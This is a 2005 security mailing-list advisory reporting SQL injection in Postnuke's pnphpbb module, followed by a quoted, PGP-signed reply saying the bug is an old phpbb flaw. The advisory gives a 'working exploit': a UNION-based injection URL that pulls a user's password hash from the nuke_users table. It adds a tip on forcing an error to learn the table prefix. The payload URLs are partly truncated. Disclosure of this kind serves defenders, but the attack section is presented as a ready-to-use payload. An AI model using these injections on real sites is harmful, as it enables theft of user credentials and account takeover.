Onderwerp: [ Postnuke all versions + pnphpbb <=1.2 sql injection - jocanor ]

[Postnuke all versions + pnphpbb <=1.2 sql injection - jocanor]

Author: Jocanor
Date: 01-03-2k5


1. -----------introduction--------.

Postnuke is an open source CMS (content management system), originally based in php-nuke. (www.postnuke.com)

pnphpbb is a module for postnuke based in popular forum system phpbb. (www.phpbb.com)

2. ------------the bug------------

in 26 -03-04 janek vind discovers a bug in phpbb forums, in prvmsg.php file described in the bugtraq id 9984 and the bug affects also to php-nuke; butraq privades exploits for exploit this bug in php-nuke and phpbb.

But the module Pnphpbb (postnuke phpbb) is also vulnerable to this issue, and its easy to exploit:

http://www.example.com/index.php?nam...gs_type=-99%20[sql here]

3 -------- the exploit ----------

Working exploit:

http://www.example.com/index.php?nam...null,null,null
,null,null,null,null,null,null,null,null,null,null ,null,null,null%20from%20nuke_users%20where%20pn_u id=2/*

Show password hash for the user with uid = 2.

4. ------important notes-----

Note: if don't works, changue the prefix nuke_ for the valid prefix, you can get the valid table prefix causing an error like this:

http://www.example.com/index.php?nam...gs_type=-99%20'


5----- Contact -----

Author: Jocanor
Location: Spain
Email: jocanor [at] gmail [dot] com

JoCaNoR SeCuRiTy ReaSoNS

EOF.

In-Reply-To: <20050301221521.7282.qmail@www.securityfocus.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>[Postnuke all versions + pnphpbb <=1.2 sql injection - jocanor]
>
>Author: Jocanor
>Date: 01-03-2k5
>
>
>1. -----------introduction--------.
>
>Postnuke is an open source CMS (content management system), originally based in php-nuke. (www.postnuke.com)
>
>pnphpbb is a module for postnuke based in popular forum system phpbb. (www.phpbb.com)
>
>2. ------------the bug------------
>
>in 26 -03-04 janek vind discovers a bug in phpbb forums, in prvmsg.php file described in the bugtraq id 9984 and the bug affects also to php-nuke; butraq privades exploits for exploit this bug in php-nuke and phpbb.
>
>But the module Pnphpbb (postnuke phpbb) is also vulnerable to this issue, and its easy to exploit:
>
>http://www.example.com/index.php?nam...gs_type=-99%20[sql here]
>
>3 -------- the exploit ----------
>
>Working exploit:
>
>http://www.example.com/index.php?nam...,null,null,nul
l,null,null,null,null,null,null,null,null,null,nul l,null,null,null%20from%20nuke_users%20where%20pn_ uid=2/*
>
>Show password hash for the user with uid = 2.
>
>4. ------important notes-----
>
>Note: if don't works, changue the prefix nuke_ for the valid prefix, you can get the valid table prefix causing an error like this:
>
>http://www.example.com/index.php?nam...gs_type=-99%20'
>
>
>5----- Contact -----
>
>Author: Jocanor
>Location: Spain
>Email: jocanor [at] gmail [dot] com
>
>JoCaNoR SeCuRiTy ReaSoNS
>
>EOF.
>

Frist check http://news.postnuke.com/modules.php...ticle&sid=2650
etc.

This is sql injection in phpbb. Old sql injection..

Author: Maksymilian Arciemowicz
Email: cxib[at]securityreason[dot].com
GPG-KEY: http://securityreason/gpg/key.gpg
SECURITYREASON.COM TEAM
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (FreeBSD)

iD8DBQFCJKMFznmvyJCR4zQRAsvMAJ9Qus2ukYRx6Y/dXMxuVb2+xwSl2QCgnyUZ
d2TP6nXTXqx+yWettkbfYuE=
=nsYW
-----END PGP SIGNATURE-----